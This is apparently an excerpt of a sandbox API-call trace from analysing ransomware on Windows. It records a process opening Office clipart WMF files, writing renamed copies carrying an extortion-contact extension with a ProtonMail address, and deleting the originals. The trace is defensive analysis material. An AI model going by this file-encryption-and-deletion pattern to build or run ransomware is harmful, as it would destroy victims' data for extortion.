	[0081.894] lstrlenW (lpString=".xls") returned 4
	[0081.895] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.895] lstrlenW (lpString=".xlsx") returned 5
	[0081.895] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.895] lstrlenW (lpString=".ppt") returned 4
	[0081.895] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68
	[0081.895] lstrlenW (lpString=".zip") returned 4
	[0081.895] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.895] lstrlenW (lpString=".rar") returned 4
	[0081.895] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.895] lstrlenW (lpString=".bz2") returned 4
	[0081.895] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.895] lstrlenW (lpString=".7z") returned 3
	[0081.895] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68
	[0081.895] lstrlenW (lpString=".dbf") returned 4
	[0081.895] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68
	[0081.895] lstrlenW (lpString=".1cd") returned 4
	[0081.895] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68
	[0081.895] lstrlenW (lpString=".jpg") returned 4
	[0081.895] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.895] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0081.895] lstrlenW (lpString="AN00015_.WMF") returned 12
	[0081.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0081.896] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=4734) returned 1
	[0081.896] CloseHandle (hObject=0x38c) returned 1
	[0081.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf")) returned 0x220
	[0081.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0081.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0081.896] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.896] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0081.896] GetLastError () returned 0x0
	[0081.896] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x127e, lpOverlapped=0x0) returned 1
	[0082.256] WriteFile (in: hFile=0x388, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x1280, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x1280, lpOverlapped=0x0) returned 1
	[0082.257] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.257] WriteFile (in: hFile=0x388, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0082.257] SetEndOfFile (hFile=0x388) returned 1
	[0082.678] CloseHandle (hObject=0x388) returned 1
	[0082.728] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.728] SetEndOfFile (hFile=0x38c) returned 1
	[0082.754] CloseHandle (hObject=0x38c) returned 1
	[0082.754] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0082.763] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf")) returned 1
	[0082.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68
	[0082.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68
	[0082.763] lstrlenW (lpString=".doc") returned 4
	[0082.763] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.763] lstrlenW (lpString=".docx") returned 5
	[0082.763] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.763] lstrlenW (lpString=".pdf") returned 4
	[0082.763] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.763] lstrlenW (lpString=".xls") returned 4
	[0082.763] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.763] lstrlenW (lpString=".xlsx") returned 5
	[0082.763] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.763] lstrlenW (lpString=".ppt") returned 4
	[0082.763] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68
	[0082.763] lstrlenW (lpString=".zip") returned 4
	[0082.763] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.763] lstrlenW (lpString=".rar") returned 4
	[0082.763] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.763] lstrlenW (lpString=".bz2") returned 4
	[0082.763] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.763] lstrlenW (lpString=".7z") returned 3
	[0082.763] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68
	[0082.764] lstrlenW (lpString=".dbf") returned 4
	[0082.764] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68
	[0082.764] lstrlenW (lpString=".1cd") returned 4
	[0082.764] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68
	[0082.764] lstrlenW (lpString=".jpg") returned 4
	[0082.764] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68
	[0082.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68
	[0082.764] lstrlenW (lpString=".doc") returned 4
	[0082.764] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.764] lstrlenW (lpString=".docx") returned 5
	[0082.764] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.764] lstrlenW (lpString=".pdf") returned 4
	[0082.764] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.764] lstrlenW (lpString=".xls") returned 4
	[0082.764] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.764] lstrlenW (lpString=".xlsx") returned 5
	[0082.764] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.764] lstrlenW (lpString=".ppt") returned 4
	[0082.764] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68
	[0082.764] lstrlenW (lpString=".zip") returned 4
	[0082.764] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.764] lstrlenW (lpString=".rar") returned 4
	[0082.764] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.764] lstrlenW (lpString=".bz2") returned 4
	[0082.764] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.764] lstrlenW (lpString=".7z") returned 3
	[0082.764] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68
	[0082.764] lstrlenW (lpString=".dbf") returned 4
	[0082.764] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68
	[0082.764] lstrlenW (lpString=".1cd") returned 4
	[0082.765] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68
	[0082.765] lstrlenW (lpString=".jpg") returned 4
	[0082.765] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.765] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0082.765] lstrlenW (lpString="AN01251_.WMF") returned 12
	[0082.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0082.765] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=2756) returned 1
	[0082.765] CloseHandle (hObject=0x38c) returned 1
	[0082.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf")) returned 0x220
	[0082.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0082.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0082.765] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.765] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0082.766] GetLastError () returned 0x0
	[0082.766] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0xac4, lpOverlapped=0x0) returned 1
	[0082.767] WriteFile (in: hFile=0x394, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xad0, lpOverlapped=0x0) returned 1
	[0082.768] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.768] WriteFile (in: hFile=0x394, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0082.768] SetEndOfFile (hFile=0x394) returned 1
	[0082.769] CloseHandle (hObject=0x394) returned 1
	[0082.769] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.769] SetEndOfFile (hFile=0x38c) returned 1
	[0082.770] CloseHandle (hObject=0x38c) returned 1
	[0082.770] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0082.770] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf")) returned 1
	[0082.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68
	[0082.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68
	[0082.771] lstrlenW (lpString=".doc") returned 4
	[0082.771] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.771] lstrlenW (lpString=".docx") returned 5
	[0082.771] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.771] lstrlenW (lpString=".pdf") returned 4
	[0082.771] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.771] lstrlenW (lpString=".xls") returned 4
	[0082.771] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.771] lstrlenW (lpString=".xlsx") returned 5
	[0082.771] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.771] lstrlenW (lpString=".ppt") returned 4
	[0082.771] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68
	[0082.771] lstrlenW (lpString=".zip") returned 4
	[0082.771] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.771] lstrlenW (lpString=".rar") returned 4
	[0082.771] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.771] lstrlenW (lpString=".bz2") returned 4
	[0082.771] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.771] lstrlenW (lpString=".7z") returned 3
	[0082.771] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68
	[0082.771] lstrlenW (lpString=".dbf") returned 4
	[0082.771] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68
	[0082.771] lstrlenW (lpString=".1cd") returned 4
	[0082.771] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68
	[0082.771] lstrlenW (lpString=".jpg") returned 4
	[0082.772] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68
	[0082.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68
	[0082.772] lstrlenW (lpString=".doc") returned 4
	[0082.772] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.772] lstrlenW (lpString=".docx") returned 5
	[0082.772] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.772] lstrlenW (lpString=".pdf") returned 4
	[0082.772] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.772] lstrlenW (lpString=".xls") returned 4
	[0082.772] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.772] lstrlenW (lpString=".xlsx") returned 5
	[0082.772] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.772] lstrlenW (lpString=".ppt") returned 4
	[0082.772] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68
	[0082.772] lstrlenW (lpString=".zip") returned 4
	[0082.772] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.772] lstrlenW (lpString=".rar") returned 4
	[0082.772] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.772] lstrlenW (lpString=".bz2") returned 4
	[0082.772] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.772] lstrlenW (lpString=".7z") returned 3
	[0082.772] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68
	[0082.772] lstrlenW (lpString=".dbf") returned 4
	[0082.772] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68
	[0082.772] lstrlenW (lpString=".1cd") returned 4
	[0082.772] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68
	[0082.772] lstrlenW (lpString=".jpg") returned 4
	[0082.772] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.773] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0082.773] lstrlenW (lpString="AN01545_.WMF") returned 12
	[0082.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0082.773] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=7372) returned 1
	[0082.773] CloseHandle (hObject=0x38c) returned 1
	[0082.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf")) returned 0x220
	[0082.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0082.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0082.773] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.773] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0082.774] GetLastError () returned 0x0
	[0082.774] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x1ccc, lpOverlapped=0x0) returned 1
	[0082.775] WriteFile (in: hFile=0x394, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x1cd0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x1cd0, lpOverlapped=0x0) returned 1
	[0082.776] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.776] WriteFile (in: hFile=0x394, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0082.776] SetEndOfFile (hFile=0x394) returned 1
	[0082.776] CloseHandle (hObject=0x394) returned 1
	[0082.780] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.781] SetEndOfFile (hFile=0x38c) returned 1
	[0082.781] CloseHandle (hObject=0x38c) returned 1
	[0082.781] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0082.782] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf")) returned 1
	[0082.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68
	[0082.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68
	[0082.782] lstrlenW (lpString=".doc") returned 4
	[0082.782] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.782] lstrlenW (lpString=".docx") returned 5
	[0082.782] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.782] lstrlenW (lpString=".pdf") returned 4
	[0082.782] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.782] lstrlenW (lpString=".xls") returned 4
	[0082.782] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.782] lstrlenW (lpString=".xlsx") returned 5
	[0082.782] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.782] lstrlenW (lpString=".ppt") returned 4
	[0082.782] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68
	[0082.782] lstrlenW (lpString=".zip") returned 4
	[0082.782] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.782] lstrlenW (lpString=".rar") returned 4
	[0082.782] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.782] lstrlenW (lpString=".bz2") returned 4
	[0082.782] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.782] lstrlenW (lpString=".7z") returned 3
	[0082.782] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68
	[0082.783] lstrlenW (lpString=".dbf") returned 4
	[0082.783] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68
	[0082.783] lstrlenW (lpString=".1cd") returned 4
	[0082.783] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68
	[0082.783] lstrlenW (lpString=".jpg") returned 4
	[0082.783] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68
	[0082.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68
	[0082.783] lstrlenW (lpString=".doc") returned 4
	[0082.783] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.783] lstrlenW (lpString=".docx") returned 5
	[0082.783] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.783] lstrlenW (lpString=".pdf") returned 4
